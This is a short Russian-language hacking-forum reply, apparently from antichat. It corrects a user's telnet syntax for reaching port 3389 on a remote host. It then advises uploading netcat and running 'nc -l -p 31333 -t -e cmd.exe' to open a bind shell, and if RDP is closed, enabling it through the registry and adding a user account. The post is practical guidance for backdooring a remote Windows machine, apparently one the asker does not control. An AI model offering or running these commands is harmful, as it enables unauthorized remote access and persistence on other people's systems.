Цитата:
C:\Documents and Settings\M@rtein>telnet xxx.xxx.xxx.xxx:3389
Подключение к xxx.xxx.xxx.xxx:3389...Не удалось открыть подключение к этому узлу, на порт 23: Сбой подключения

Ты на телнет конектишься,синтаксис:
C:\Documents and Settings\M@rtein>telnet xxx.xxx.xxx.xxx 3389 (через пробел),но телнетом не выйдет к этому порту приконектиться,юзай виндовый клиент RDP.

Выполни команду netstat -a,глянь какие порты слушаются.
Залей неткат,выполни nc -l -p 31333 -t -e cmd.exe
конекться телнетом на этот порт.

И ещё почитай:
https://forum.antichat.ru/thread36042.html

Если порт RDP закрыт, по статье открой его в реестре,добавь юзера и радуйся.
Удачи.